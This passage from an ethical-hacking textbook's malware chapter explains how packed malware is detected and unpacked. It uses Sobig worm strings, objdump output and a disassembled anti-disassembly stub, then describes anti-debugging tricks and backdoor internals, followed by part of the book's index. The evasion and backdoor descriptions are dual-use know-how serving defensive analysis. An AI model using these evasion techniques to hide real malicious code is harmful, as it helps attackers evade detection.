program to its original state and then to transfer control to the restored program.
Packers vary significantly in their degree of sophistication. The most basic packers
simply perform compression of a binary’s code and data sections. More sophisticated
packers not only compress, but also perform some degree of encryption of the binary’s
sections. Finally, many packers will take steps to obfuscate a binary’s import table by
compressing or encrypting the list of functions and libraries that the binary depends
upon. In this last case, the unpacking stub must be sophisticated enough to perform
many of the functions of the dynamic loader, including loading any libraries that will be
required by the unpacked binary and obtaining the addresses of all required functions
within those libraries. The most obvious way to do this is to leverage available system
API functions such as the Windows LoadLibrary and GetProcAddress functions. Each
of these functions requires ASCII input to specify the name of a library or function, leaving
the binary susceptible to strings analysis. More advanced unpackers utilize linking
techniques borrowed from the hacker community, many of which are detailed in Matt
Miller’s excellent paper on understanding Windows shellcode.
What is it that packers hope to achieve? The first, most obvious thing that packers
achieve is that they defeat strings analysis of a binary program.
NOTE The strings utility is designed to scan a file for sequences of
consecutive ASCII or Unicode characters and to display strings exceeding a
certain minimum length to the user. strings can be used to gain a quick feel
for the strings that are manipulated by a compiled program as well as any
libraries and functions that the program may link to, since such library and function names
are typically stored as ASCII strings in a program’s import table.
strings is not a particularly effective reverse-engineering tool, as the presence of a particular
string within a binary in no way implies that the string is ever used. A true behavioral
analysis is the only way to determine whether a particular string is ever utilized. As
a side note, the absence of any strings output is often a quick indicator that an executable
has been packed in some manner.
Unpacking Binaries
Before you can ever begin to analyze how a piece of malware behaves, you will most
likely be required to unpack that malware. Approaches to unpacking vary depending
upon your particular skill set, but usually a few questions are useful to answer before
you begin the fight to unpack something.
Is This Malware Packed?
How can you identify whether a binary has been packed? There is no one best answer.
Tools such as PEiD (see Chapter 20) can identify whether a binary has been packed
using a known packer, but they are not much help when a new or mutated packer has
been used. As mentioned earlier, strings can give you a feel for whether a binary has
been packed. Typical strings output on a packed binary will consist primarily of garbage
along with the names of the libraries and functions that are required by the unpacker. A
partial listing of the extracted strings from a sample of the Sobig worm is shown next:
!This program cannot be run in DOS mode.
Rich
.shrink
.shrink
.shrink
.shrink
PART V
Chapter 21: Hacking Malware
525
'!Vw@p
KMQl\PD%
N2]B
<...>
cj}D
wQfYX
kernel32.dll
user32.dll
GetModuleHandleA
MessageBoxA
D}uL
:V&&
tD4w
XC001815d
XC001815d
XC001815d
XC001815d
XC001815d
These strings tell us very little. Things that we can see include section names extracted
from the PE headers (.shrink). Many tools exist that are capable of dumping various
fields from binary file headers. In this case, the section names are nonstandard for all
compilers that we are aware of, indicating that some postprocessing (such as packing) of
the binary has probably taken place. The objdump utility can be used to easily display
more information about the binary and its sections as shown next:
$ objdump -fh sobig.bin
sobig.bin: file format pei-i386
architecture: i386, flags 0x0000010a:
EXEC_P, HAS_DEBUG, D_PAGED
start address 0x0041ebd6
Sections:
Idx Name Size VMA LMA File off Algn
0 .shrink 0000c400 00401000 00401000 00001000 2**2
CONTENTS, ALLOC, LOAD, DATA
1 .shrink 00001200 00416000 00416000 0000d400 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .shrink 00001200 00419000 00419000 0000e600 2**2
CONTENTS, ALLOC, LOAD, DATA
3 .shrink 00002200 0041d000 0041d000 0000f800 2**2
CONTENTS, ALLOC, LOAD, DATA
Things worth noting in this listing are that all the sections have the same name, which is
highly unusual, and that the program entry point (0x0041ebd6) lies in the fourth section
(spanning 0x0041d000–0x0041f200), which is also highly unusual since a program’s executable
section (usually .text) is most often the very first section within the binary. The
fourth section probably contains the unpacking stub, which will unpack the other three
sections before transferring control to an address within the first section.
Another thing to note from the strings output is that the binary appears to import
only two libraries (kernel32.dll and user32.dll), and from those libraries imports only
two functions (GetModuleHandleA and MessageBoxA). This is a surprisingly small
number of functions for any program to import. Try running dumpbin on any binary
Gray Hat Hacking: The Ethical Hacker’s Handbook
526
Chapter 21: Hacking Malware
527
PART V
and you will typically get several screens full of information regarding the libraries and
functions that are imported. Suffice it to say, this particular binary appears to be packed
and a simple tool like strings was all it took to make that fairly obvious.
How Was This Malware Packed?
Now that you have identified a packed binary and your pulse is beginning to rise, it is
useful to attempt to identify exactly how the binary was packed. “Why?” youmay ask. In
most cases you will not be the first person to encounter a particular packing scheme. If
you can identify a few key features of the packing scheme, you may be able to search for
and utilize tools or algorithms that have been developed for unpacking the binary you
are analyzing. Many packers leave telltale signs about their identity. Some packers utilize
well-known section names, while others leave identifying strings in the packed binary. If
you are lucky, you will have encountered a packed file for which an automated unpacker
exists. The UPX packer is well known as a packer that offers an undo option. At least this
option is well known to reverse engineers. Surprisingly, a large number of malware
authors continue to utilize UPX as their packer of choice (perhaps because it is free and
easy to obtain). The fact that UPX is easily reversed has spawned an entire aftermarket of
UPX postprocessing utilities designed to modify files generated by UPX just enough so
that UPX will refuse to unpack them. Tools such as file (which has a rudimentary packer
identification capability), PEiD, and Google are your best bet for identifying exactly
which packing utility may have been used to obfuscate a particular binary.
How Do I Recover the Original Binary?
In an ideal world, once (if?) you were to identify the tool used to pack a binary, you
would be able to quickly locate a tool or procedure for automatically unpacking that
binary. Unfortunately, the world is a less than ideal place and more often than you like,
you will be required to battle your way through the unpacking process on your own.
There are several different approaches to unpacking, each with its advantages and
disadvantages.
Run and Dump Unpacking With most packed programs, the first phase of execution
involves unpacking the original program in memory, loading any required libraries,
and looking up the addresses of imported functions. Once these actions are completed, the
memory image of the program closely resembles its original, unpacked version. If a snapshot
of the memory image can be dumped to a file at this point, that file can be analyzed as
if no packing had ever taken place. The advantage to this technique is that the embedded
unpacking stub is leveraged to do the unpacking for you. The difficult part is knowing
exactly when to take the memory snapshot. The snapshot must be made after the unpacking
has taken place and before the program has had a chance to cover its tracks. This is one
drawback to this approach for unpacking. The other, perhaps more significant drawback is
that the malware must be allowed to run so that it can unpack itself. To do this safely, a
sandbox environment should be configured as detailed in the live analysis section of
Chapter 20. Most operating systems provide facilities for accessing the memory of running
processes. Tools exist for Windows systems that aid in this process. One of the early tools
(no longer maintained) for extracting running processes from memory was ProcDump.
LordPE by Yoda (see Figure 21-1) is a more recent tool capable of dumping process images
from memory.
LordPE displays a complete list of running processes. When a process is selected,
LordPE displays the complete list of files associated with that process and dumping the
executable image is a right-click away. A discussion of a similar Linux-based tool by ilo
appears in Phrack 63.
Debugger-Assisted Unpacking Allowing malware to run free is not always a
great idea. If we don’t know what the malware does, it may have the opportunity to
wreak havoc before we can successfully dump the memory image to disk. Debuggers
offer greater control over the execution of any program under analysis. The basic idea
when using a debugger is to allow the malware to execute just long enough for it to
unpack itself, then to utilize the memory dumping capabilities of the debugger to dump
the process image to a file for further analysis. The problem here is determining how
long is long enough. A fundamental problem when working with self-modifying code
in a debugger is that software breakpoints (such as the x86 int 3) are difficult to use since
the saved breakpoint opcode (0xCC on the x86) may be modified before the program
reaches the breakpoint location. As a result, the CPU will fetch something other than the
breakpoint opcode and fail to break properly. Hardware breakpoints could be used on
processors that support them; however, the problem of where to set the breakpoint
remains. Without a correct disassembly, it is not possible to determine where to set a
breakpoint. The only reasonable approach is to use single stepping until some pattern of
execution such as a loop is revealed, then to utilize breakpoints to execute the loop to
completion, at which point you resume single stepping and repeat the process. This can
be very time-consuming if the author of the packer chooses to use many small loops and
self-modifying code sections to frustrate your analysis.
Joe Stewart developed the OllyBonE plug-in for OllyDbg, a windows debugger. The
plug-in is designed to offer Break-on-Execute breakpoint capability. Break-on-Execute
allows a memory location to be read or written as data but causes a breakpoint to trigger
if that memory location is fetched from, meaning the location is being treated as an
Gray Hat Hacking: The Ethical Hacker’s Handbook
528
Figure 21-1 The LordPE process dumping utility
instruction address. The assumption here is that it is first necessary to modify the packed
program data during the unpacking process before that code can be executed. OllyBonE
can be used to set a Break-on-Execute breakpoint on an entire program section, allowing
program execution to proceed through the unpacking phase but catching the transfer of
control from the unpacking stub to the newly unpacked code. In the Sobig example (see
the second listing under “Is This Malware Packed?” ), using OllyBonE to set a breakpoint
on section zero and then allowing the program to run will cause the program to be
unpacked. But it will prevent it from executing the unpacked code, as the breakpoint
will trigger when control is transferred to any location within section zero. Once the
program has been unpacked, OllyDump and PE Dumper are two additional plug-ins for
OllyDbg that are designed to dump the unpacked program image back to a file.
IDA-Assisted Unpacking Packer authors are well aware that reverse engineers
make use of debuggers to unpack binaries. As a result, many current packers incorporate
anti-debugging techniques to hinder debugger-assisted unpacking. These include
• Debugger detection The use of the IsDebuggerPresent function (Windows),
timing tests to detect slower than expected execution, examination of the x86
timestamp counter, testing the CPU trace flag, and looking for debugger-related
processes are just a few examples.
• Interrupt hooking Debuggers rely on the ability to process specific CPU
exceptions. To do this, debuggers register interrupt handlers for all interrupts
that they expect to process. Some packers register their own interrupt handlers
to prevent a debugger from regaining control.
• Debug register manipulation Debuggers must keep close control of any
hardware debugging registers that the CPU may have. To foil hardware-assisted
debugging on Windows, some packers set up exception handlers and then
intentionally generate an exception. Since the Windows exception-handling
mechanism grants a process access to the x86 debug registers, the packer can
clear any hardware breakpoints that may have been set by the debugger.
• Self-modifying code This makes it difficult to set software breakpoints as
described previously.
• Debugging prevention To debug a process, a debugger must be able to attach
to that process. Operating systems allow only one debugger to attach to a
process at any given time. If a debugger is already attached to a process, a
second debugger can’t attach. To prevent the use of debuggers, some programs
will attach to themselves, effectively shutting out all debuggers. If a debugger is
used to launch the program initially, the program will not be able to attach to
itself (since the debugger is already attached) and will generally shut down.
In addition to anti-debugging techniques, many packers generate code designed to frustrate
disassembly analysis of the unpacking stub. Some common anti-disassembly techniques
include jumping into the middle of instructions and jumps to runtime-computed values.
Chapter 21: Hacking Malware
529
PART V
An example of the first technique is shown in the following listing, which has clearly
stopped IDA in its tracks:
0041D000 sub_41D000 proc near
0041D000 pusha
0041D001 stc
0041D002 call near ptr loc_41D007+2
0041D007 loc_41D007:
0041D007 call near ptr 42B80Ch
0041D007 sub_41D000 endp
0041D00C db 0
0041D00D db 0
0041D00E db 5Eh
0041D00F db 2Bh
0041D010 db 0C9h
Here the instruction at location 41D002 is attempting a call to location 41D009, which
is in the middle of the 5-byte instruction that begins at location 41D007. IDA can’t split
the instruction at 41D007 into two separate instructions so it gets stopped in its tracks.
Manually reformatting the IDA display yields a more accurate disassembly as shown in
the following code, but adds significantly to the time required to analyze a binary:
0041D000 pusha
0041D001 stc
0041D002 call loc_41D009
0041D002 ; ----------------------------------------
0041D007 db 0E8h ; F
0041D008 db 0
0041D009 ; ----------------------------------------
0041D009 loc_41D009:
0041D009 call $+5
0041D00E pop esi
0041D00F sub ecx, ecx
0041D011 pop eax
0041D012 jz short loc_41D016
0041D012 ; ----------------------------------------
0041D014 db 0CDh ; -
0041D015 db 20h
0041D016 ; ----------------------------------------
0041D016 loc_41D016:
0041D016 mov ecx, 1951h
0041D01B mov eax, ecx
0041D01D clc
0041D01E jnb short loc_41D022
This listing also illustrates the use of runtime values to influence the flow of the program.
In this example, the operations at 41D00F and 41D01D effectively turn the conditional
jumps at 41D012 and 41D01E into unconditional jumps. This fact can’t be known
by a disassembler and further serves to frustrate generation of an accurate disassembly.
At this point it may seem impossible to utilize a disassembler to unpack obfuscated
code. IDA Pro is sufficiently powerful to make de-obfuscation possible in many cases. Two
options for unpacking include the use of IDA scripts and the use of IDA plug-ins. The key
concept to understand is that the IDA disassembly database can be viewed as a loaded
memory image of the file being analyzed. When IDA initially loads an executable, it maps
Gray Hat Hacking: The Ethical Hacker’s Handbook
530
all of the bytes of the executable to their corresponding virtual memory locations. IDA
users can query and modify the contents of any program memory location as if the program
had been loaded by the operating system. Scripts and plug-ins can take advantage of
this to mimic the behavior of the program being analyzed.
To generate an IDC script capable of unpacking a binary, the unpacking algorithm
must be analyzed and understood well enough to write a script that performs the same
actions. This typically involves reading a byte from the database using the Byte function,
modifying that byte the same way the unpacker does, then writing the byte back to the
database using the PatchByte function. Once the script has executed, you will need to
force IDA to reanalyze the newly unpacked bytes. This is because scripts run after IDA
has completed its initial analysis of the binary. Following any action you take to modify
the database to reveal new code, you must tell IDA to convert bytes to code or to
reanalyze the affected area. A sample script to unpack UPX binaries can be found at the
book website in the Chapter 21 section. While script-based unpacking bypasses any
anti-debugging techniques employed by a packer, a major drawback to script-based
unpacking is that new scripts must be generated for each new unpacker that appears,
and existing scripts must be modified for each change to existing unpackers. This same
problem applies to IDA plug-ins, which typically take even more effort to develop and
install, making targeted unpacking plug-ins a less than optimal solution.
The IDA x86 emulator plug-in (x86emu) was designed to address this shortcoming.
By providing an emulation of the x86 instruction set, x86emu has the effect of embedding
a virtual CPU within IDA Pro. When activated (ALT-F8 by default), x86emu presents
a debugger-like control interface as shown in Figure 21-2.
When loaded, x86emu allocates memory to represent the x86 registers, a stack, and a
heap for use during program emulation. The user can manipulate the contents of the
emulated x86 registers at any time via the emulator control console. Stepping the emulator
causes the plug-in to read from the IDA database at the location indicated by the
eip register, decode the instruction that was read, and carry out the actions indicated by
Chapter 21: Hacking Malware
531
PART V
Figure 21-2 The IDA x86emu control panel
the instruction, including updating any registers, flags, or memory that may have
changed. If a memory location being written to lies within the IDA database (as
opposed to the emulated stack or heap), the emulator updates the database accordingly,
thus transforming the database according to the instructions contained in the unpacker.
After a sufficient number of instructions have been executed, the emulator will have
transformed the IDA database in the same manner that the unpacker would have transformed
the program had it actually been running, and analysis of the binary can continue
as if the binary had never been packed at all. The emulator plug-in contains a
variety of features to assist in emulation of Windows binaries, including the following:
• Generation of SEH frames and transfer to an installed exception handler when
an exception occurs.
• Automatic interception of library calls. Some library calls are emulated
including LoadLibrary, GetProcAddress, and others. Calls to functions for
which x86emu has no internal emulation generate a pop-up window (see
Figure 21-3) that displays the current stack state and offers the user an
opportunity to specify a return value and to define the behavior of the function.
• Tracking of calls to CreateThread, giving the user a chance to switch between
multiple threads while emulating instructions.
The emulator offers a rudimentary breakpoint capability that does not rely on software
breakpoints or debug control registers, preventing its breakpoint mechanism from
being thwarted by unpackers. Finally, the emulator offers the ability to enumerate allocated
heap blocks and to dump any range of memory out of the database to a file.
Advantages of emulator-based unpacking include the fact that the original program is
never executed, making this approach safe and eliminating the need to build and maintain
a sandbox. Additionally, since the emulator operates at the CPU instruction level, it
is immune to algorithmic changes in the unpacker and can be used against unknown
Gray Hat Hacking: The Ethical Hacker’s Handbook
532
Figure 21-3 Trapped library call in x86emu
unpackers with no changes. Finally, the emulator is immune to debugger and virtual
machine detection techniques. Disadvantages include that the true behavior, such as
network connections, of a binary can’t be observed, and at present the complete x86
instruction set is not emulated. As the emulator was primarily designed for unpacking,
neither of these limitations tends to come into play.
I Have Unpacked a Binary—Now What?
Once an unpacked binary has been obtained, more traditional analysis techniques can
be employed. Remember, however, that if your goal is to perform black-box analysis of a
running malware sample, that unpacking was probably not necessary in the first place.
Having gone to the trouble of unpacking a binary, the most logical next step is analysis
using a disassembler. It is worth noting that at this point a strings analysis should be performed
on the unpacked binary to obtain a very rough idea of some of the things that
the binary may attempt to do.
References
Understanding Windows Shellcode www.hick.org/code/skape/papers/win32-shellcode.pdf
ilo, Advances in Remote Anti-Forensics www.phrack.org/issues.html?issue=63&id=
12&mode=txt
LordPE http://scifi.pages.at/yoda9k/LordPE/info.htm
Unpackng with OllyBonE www.joestewart.org/ollybone/tutorial.html
OllyDump www.woodmann.com/ollystuph/g_ollydump300110.zip
PE Dumper www.woodmann.com/ollystuph/ollydbgpedumper301.zip
IDA x86emu plug-in http://ida-x86emu.sourceforge.net/
Reverse Engineering Malware
Assuming that you have managed to obtain an unpacked malware sample via some
unpacking mechanism, where do you go next? Chapter 20 covered some of the techniques
for performing black-box analysis on malware samples. Is it any easier to analyze
malware when it is fully exposed in IDA? Unfortunately, no. Static analysis is a very
tedious process and there is no magic recipe for making it easy. A solid understanding of
typical malware behaviors can help speed the process.
Malware Setup Phase
The first actions that most malware takes generally center on survival. Functions typically
involved in the persistence phase often include file creation, registry editing, and service
installation. Some useful information to uncover concerning persistence includes the
names of any files or services that are created and any registry keys that are manipulated.
An interesting technique for data hiding employed in some malware relies on the storage
of data in nonstandard locations within a binary. We have previously discussed the fact
that some malware has been observed to store data within the resource section of
Windows binaries. This is an important thing to note, as IDA does not typically load the
Chapter 21: Hacking Malware
533
PART V
resource section by default, which will prevent you from analyzing any data that might be
stored there. Another nonstandard location in which malware has been observed to store
data is at the end of its file, outside of any defined section boundaries. The malware
locates this data by parsing its own headers to compute the total length of all the program
sections. It can then seek to the end of all section data and read the extra data that has been
appended to the end of the file. Unlike resources, which IDA can load if you perform a
manual load, IDA will not load data that lies outside of any defined sections.
Malware Operation Phase
Once a piece of malware has established its presence on a computer, the malware sets
about its primary task. Most modern malware performs some form of network communications.
Functions to search for include any socket setup functions for client (connect)
or server (listen, accept) sockets. Windows offers a large number of networking functions
outside the traditional Berkeley sockets model. Many of these convenience functions
can be found in the WinInet library and include functions such as InternetOpen,
InternetConnect, InternetOpenUrl, and InternetReadFile.
Malware that creates server sockets is generally operating in one of two capacities.
Either the malware possesses a backdoor connect capability, or the malware implements
a proxy capability. Analysis of how incoming data is handled will reveal which capacity
the malware is acting in. Backdoors typically contain some form of command processing
loop in which they compare incoming commands against a list of valid commands.
Typical backdoor capabilities include the ability to execute a single command and
return results, the ability to upload or download a file, the ability to shut down the
backdoor, and the ability to spawn a complete command shell. Backdoors that provide
full command shells will generally configure a connected client socket as the standard
input and output for a spawned child shell process. On Unix systems, this usually
involves calls to dup or dup2, fork, and execve to spawn /bin/sh. On Windows systems,
this typically involves a call to CreateProcess to spawn cmd.exe. If the malware is acting
as a proxy, incoming data will be immediately written to a second outbound socket.
Malware that only creates outbound connections can be acting in virtually any capacity
at all: worm, DDoS agent, or simple bot that is attempting to phone home. At a minimum,
it is useful to determine whether the malware connects to many hosts (could be a
worm), or a single host (could be phoning home), and to what port(s) the malware
attempts to connect. You should make an effort to track down what the malware does
once it connects to a remote host. Any ports and protocols that are observed can be used
to create malware detection and possibly removal tools.
It is becoming more common for malware to perform basic encryption on data that it
transmits. Encryption must take place just prior to data transmission or just after data
reception. Identification of encryption algorithms employed by the malware can lead to
the development of appropriate decoders that can, in turn, be utilized to determine
what data may have been exfiltrated by the malware. It may also be possible to develop
encoders that can be used to communicate with the malware to detect or disable it.
The number of communications techniques employed by malware authors grows
with each new strain of malware. The importance of analyzing malware lies in
Gray Hat Hacking: The Ethical Hacker’s Handbook
534
understanding the state of the art in the malware community to improve detection,
analysis, and removal techniques. Manual analysis of malware is a very slowprocess best
left for cases in which new malware families are encountered, or when an exhaustive
analysis of a malware sample is absolutely necessary.
Automated Malware Analysis
Automated malware analysis is a virtually intractable problem. It is simply not possible
for one program to determine the exact behavior of another program. As a result, automated
malware analysis has been reduced to signature matching or the application of
various heuristics, neither of which is terribly effective in the face of emerging malware
threats. One promising method for malware recognition developed by Halvar Flake and
SABRE Security leverages the technology underlying the company’s BinDiff product to
perform graph-based differential analysis between an unknown binary and known
malware samples. The graph-based analysis is used to develop a measure of similarity
between the unknown sample and the known samples. By observing genetic similarities
in this manner, it is possible to determine if a new, unknown binary is a derivative of a
known malware family.
References
www.grayhathackingbook.com
Offensive Computing www.offensivecomputing.net
Automated Malware Classification http://addxorrol.blogspot.com/2006/04/more-onautomated-
malware.html
Chapter 21: Hacking Malware
535
PART V
This page intentionally left blank
537
INDEX
%s tokens, 174
%x tokens, 173
18 USC Section 1029 (Access Device Statute),
19–22
18 USC Section 1030 (Computer Fraud and
Abuse Act), 23–29
18 USC Sections 2510, et. Seq. and
2701, 32–34
A
access control, 387–388
analyzing for elevation of privilege, 417
See also Windows Access Control
access control entries (ACEs), 394–396
inheritance, 396–397
Access Device Statute, 19–22
access tokens, 390–393
AccessCheck function, 397–400
investigating “access denied”,
409–412
AccessChk, 403, 404, 405
ACEs. See access control entries (ACEs)
ActiveX controls, 361–362
Address Space Layout Randomization (ASLR),
150, 156, 184, 192–193
adware, 500
See also malware
Aitel, Dave, 353, 357
Ameritrade, 6
Amini, Pedram, 340, 443
Ancheta, Jeanson James, 9
anti-circumvention provisions, 36
Apple computers, 6
See also Macintosh systems
applications, good vs. bad, 70–71
arguments, sanitized, 470–473
Ashcroft, John, 27
ASM language. See assembly language
assembly language
add and sub commands, 134
addressing modes, 135–136
assembling, 137
AT&T vs. NASM syntax, 133–135
call and ret commands, 135
file structure, 136–137
inc and dec commands, 135
int command, 135
jne, je, jz, jnz, and jmp commands,
134–135
lea command, 135
machine vs. assembly vs. C, 133
mov command, 134
program to establish a socket, 223–226
push and pop commands, 134
system calls, 213–214
xor command, 134
attackers’ goals, 43
attacking services
enumerating DACL of a Windows service,
418–419
“execute” disposition permissions of a
Windows service, 420
finding vulnerable services, 420–422
privilege escalation, 422–424
“read” disposition permissions of
a Windows service, 420
“write” disposition permissions of
a Windows service, 419
Gray Hat Hacking: The Ethical Hacker’s Handbook
538
auditing tools
source code, 280–283
See also manual auditing
Authenticated Users group, 406
authentication, 71
authentication SIDs, 406–408
authorization, 71
AxEnum, 372–377
AxFuzz, 377
AxMan, 378–383
B
backdoors, eliminating, 71
BackTrack, 101–102
automating change preservation from one
session to the next, 109
booting and logging in, 103–104
cheat codes, 112–114
creating a directory-based or file-based
module with dir2lzm, 106–109
creating a module from a SLAX prebuilt
module with mo2lzm, 106–108
creating a module from an entire session
of changes using dir2lzm, 108–109
creating a module of directory content
changes since last boot, 110–112
creating a new base module with all the
desired directory contents, 110–112
creating the BackTrack CD, 102–103
environment, 104–105
saving configurations, 105
selectively loading modules, 112–114
tools, 118
using Metasploit db_autopwn, 114–117
writing to your USB memory stick, 105
binaries
stripped, 310–312
unpacking, 525–533
binary analysis, 289
automated tools, 304–307
decompilers, 290–292
disassemblers, 292–302
manual auditing of binary code, 289–304
binary mutation, 490–495
binary patching, 486–490
BinDiff, 306–307
BinNavi, 303–304
black box testing, 335
Blaster worm attacks, and the CFAA, 27–28
Blum, Rick, 35
bot herders, 9
botmaster underground, 9
bots, 9
Break-on-Execute breakpoint capability,
528–529
buffer overflows, 149–154
local buffer overflow exploits, 154–162
buffers, 130
buffer orientation problems,
476–477
exploiting small buffers, 160–162
BugScam, 305–306
Bugtraq, 49–50
Byte function, 531
C
C programming language, 121
comments, 126
compiling with gcc, 127
functions, 122
if/else, 126
linking, 127
for loops, 125–126
main( ), 122
object code, 127
printf, 123–124
Index
539
sample program, 126–127
scanf, 124
strcpy/strncpy, 124–125
system calls, 213
variables, 123
while loops, 125–126
C++, quirks of compiled C++ code,
323–325
Cain, 94–96, 97
callback shellcode. See reverse shellcode
CDB (Microsoft Console Debugger), 246
disassembling with, 253
exploring, 250–253
launching, 248–250
CERT, disclosure policy, 50–52
CFAA. See Computer Fraud and Abuse Act
(CFAA)
Cheney, Dick, 35
Chevarista, 306
circumvention, 36
Cisco, 48–49
classified documents, 35
Clay High School, 7
client-side vulnerabilities, 359–361
AxEnum, 372–377
AxFuzz, 377
AxMan, 378–383
JAVAPRXY.DLL, 366–368
MangleMe, 370–371
MS04-013, 364–365
MS04-040, 365–366
MS06-073 WMIScriptUtils, 368–369
protecting yourself from exploits,
385–386
rising to prominence, 363–364
using Metasploit to exploit, 83–91
code coverage tools, 340–341
command execution code, 201
See also shellcode
communication, 66–67
“Communication in the Software
Vulnerability Reporting Process”, 64–65
complexity, and security, 15–16
Computer Fraud and Abuse Act (CFAA),
23–26
Blaster worm attacks, 27–28
and disgruntled employees, 28–29
worms and viruses, 26
Consumeraffairs.com, 7
consumers, 47
responsibilities, 71
cookies, 33–34
core dump files, 339–340
cost estimates for downtime losses, 6
crackers, 20
crashability, 460
Credit Master, 20
Credit Wizard, 20
CSEA. See Cyber Security Enhancement
Act of 2002
Cyber Security Enhancement Act of 2002,
39–40
cyberlaw, 17–18
Access Device Statute, 19–22
Computer Fraud and Abuse Act (CFAA),
23–29
Cyber Security Enhancement Act of 2002,
39–40
Digital Millennium Copyright Act
(DMCA), 36–38, 277–278
Electronic Communications Privacy Act
(ECPA), 32, 33–34
Homeland Security Act of 2002, 35
Intellectual Property Protection Act of
2006, 38
state law alternatives, 30–32
Stored Communication Act, 33
USA Patriot Act, 35–36, 39
Wiretap Act, 32–33, 36
Gray Hat Hacking: The Ethical Hacker’s Handbook
540
D
damages, 30
data handling, 71
date of contact, 53
debugger-assisted unpacking, 528–529
debuggers, 338–340
debugging
for exploitation, 460–465
with gdb, 137–139
kernel space vs. user space, 340
and symbols, 247–248
Windows commands, 246–247
with Windows Console debuggers,
245–254
See also CDB (Microsoft Console
Debugger); NTSD (Microsoft NT
Symbolic Debugger); OllyDbg; WinDbg
decompilers, 290–292
default settings, eliminating, 71
denial-of-service (DoS) attacks, 7
de-obfuscation, 524
desiredAccess requests, 413–417
developers, training, 72
device drivers, 15
devices, enumerating, 439–440
diff, 485–486
Digital Millennium Copyright Act (DMCA),
36–38, 277–278
direct parameter access, 175
disassemblers, 292–302
disassembly, with gdb, 139
disclosure policy
CERT, 50–52
communication, 66–67
full disclosure policy (RainForest Puppy
Policy), 52–54
iDefense, 67–69
Internet Security Systems (ISS), 50
knowledge barrier, 67
knowledge management, 64–65
Organization for Internet Safety (OIS),
54–63
publicity, 65–66
security community’s view, 64
software vendors’ view, 64
tiger team approach, 66
types of, 54
discovery, 55–56
Discretionary Access Control List (DACL), 394
attacking weak DACLs in the Windows
registry, 424–428
attacking weak directory DACLs,
428–432
attacking weak file DACLs, 433–436
disgruntled employees, and the CFAA, 28–29
DMCA. See Digital Millennium Copyright
Act (DMCA)
documenting problems, 478–479
Doomjuice family of worms, 520
downtime losses, cost estimates for, 6
DTOR section, 178–179
.dtors, 177–180
dumpbin, 526–527
dumping the process token, 401–403
dynamically linked programs, 312
E
eBay, 7
ECPA. See Electronic Communications
Privacy Act (ECPA)
Electronic Communications Privacy
Act (ECPA), 32, 33–34
ELF format, 487–488
elf32 file format, 177–178
Ellch, Jon, 43
e-mail blasts, 21
employees, disgruntled, 28–29
emulating attacks, 14–15
Index
541
encryption
end-to-end session encryption, 71
malware, 522
protective wrappers with, 501
Tiny Encryption Algorithm (TEA), 522
Environmental Protection Agency (EPA), 35
environment/arguments section, sanitized,
470–473
epilog, 149
Erdelyi, Gergely, 331
ethical hackers, 11
E-Trade Financial, 6
events, enumerating, 439–440
Everyone group, 406
executable formats, 487–488
execve system calls, shell-spawning shellcode
with, 217–220
exit system calls, 214–216
exploit development process for Linux
exploits, 162–168
exploitability, 460
debugging for exploitation, 460–465
F
FAA, 35
Fast Library Acquisition for Identification and
Recognition (FLAIR), 315–318
Fast Library Identification and Recognition
Technology (FLIRT), 293, 314–315
Federal Trade Commission (FTC), 7
file transfer code, 202
See also shellcode
FileMon, 515–516
financial impact of malware, 4–5
financing security concerns, 72
find socket shellcode, 200–201
See also shellcode
find.c, 286–289
finder’s fees, 68
findings, 59–61
firewalls
and client-side vulnerabilities, 359–360
depending on, 71
FLAIR. See Fast Library Acquisition for
Identification and Recognition (FLAIR)
Flake, Halvar, 535
FlawFinder, 280
FLIRT. See Fast Library Identification and
Recognition Technology (FLIRT)
flow analysis tools, 342–343
format string exploits, 169–180
mutations against, 493–495
format strings, 170
format symbols, 170
Fuller, Landon, 496
function calling procedure, 148–149
fuzzing tools, 44, 348–349
AxEnum, 372–377
AxFuzz, 377
AxMan, 378–383
fuzzing unknown protocols, 352–353
MangleMe, 370–371
Sharefuzz, 357
simple URL fuzzer, 349–352
SPIKE, 353–357
See also intelligent fuzzing; Sulley
G
gcc, 127
Libsafe, 183, 193
StackShield, StackGuard, and Stack
Smashing Protection (SSP), 183, 193
gdb, 137–139
goals of attackers, 43
gray box testing, 335
gray hat hackers, 48
Guilfanov, Ilfak, 45–46, 495–496
Gray Hat Hacking: The Ethical Hacker’s Handbook
542
H
hacker, positive connotation of term, 10
hackers’ motivation, 5
hacking books and classes, 11–12
hardware interrupts, 212
hardware traps, 212
hashdump command, 91
heap overflow exploits, 180–182
mutations against, 492–493
heap spray, 383–384
hex opcodes, extracting, 226–227
Hex-Rays, 302–303
Homeland Security Act of 2002, 35
honeyd, 503
honeynets, 501
types of, 504–505
honeypots, 501
high-interaction, 503
limitations, 502–503
low-interaction, 503
reasons for using, 502
honeywalls, 504–505
hosts file, 522–523
I
IDA Pro, 293–303, 309, 530
data structure analysis, 318–321
generating sig files, 315–318
Hex-Rays, 302–303
IDA SDK, 329–331
IDAPython plug-in, 331–332
loaders and process modules, 332–334
plug-in modules, 329–332
quirks of compiled C++ code, 323–325
scripting with IDC, 326–328
static analysis challenges, 309–310
statically linked programs and FLAIR,
312–318
stripped binaries, 310–312
using IDA structures to view program
headers, 321–323
x86emu plug-in, 332
IDA x86 emulator plug-in (x86emu), 531–533
IDA-assisted unpacking, 529–533
IDC, 326–328
iDefense, 67–69
identity theft, 7
information concealment, 34–36
injunctions, 30
Inqtana worm, 44
instrumentation tools, 337–338
code coverage tools, 340–341
debuggers, 338–340
flow analysis tools, 342–343
memory monitoring tools, 343–348
profiling tools, 341–342
Intel processors, 132
Intellectual Property Protection Act
of 2006, 38
intelligent fuzzing, 441
Internet Explorer, security zones, 362–363
Internet Security Systems (ISS), disclosure
policy, 50
”Internet Security Threat Report, Volume X”, 7
Internet zone, 362
InternetExploiter, 384
interorganizational learning, 65
Intranet zone, 362
investigation, 58
iPods, 6–7
IsDebuggerPresent function, 529
ITS4, 280
Index
543
K
knowledge barrier, 67
knowledge management, 64–65
L
laws, 17–18
Access Device Statute, 19–22
Computer Fraud and Abuse Act (CFAA),
23–29
Cyber Security Enhancement Act of 2002,
39–40
Digital Millennium Copyright Act
(DMCA), 36–38, 277–278
Electronic Communications Privacy Act
(ECPA), 32, 33–34
Homeland Security Act of 2002, 35
Intellectual Property Protection Act of
2006, 38
state law alternatives, 30–32
Stored Communication Act, 33
USA Patriot Act, 35–36, 39
Wiretap Act, 32–33, 36
lines of code (LOC), 15
Linux exploits
buffer overflows, 149–154
building the exploit sandwich, 167–168
control of eip, 163
determining the attack vector, 166–167
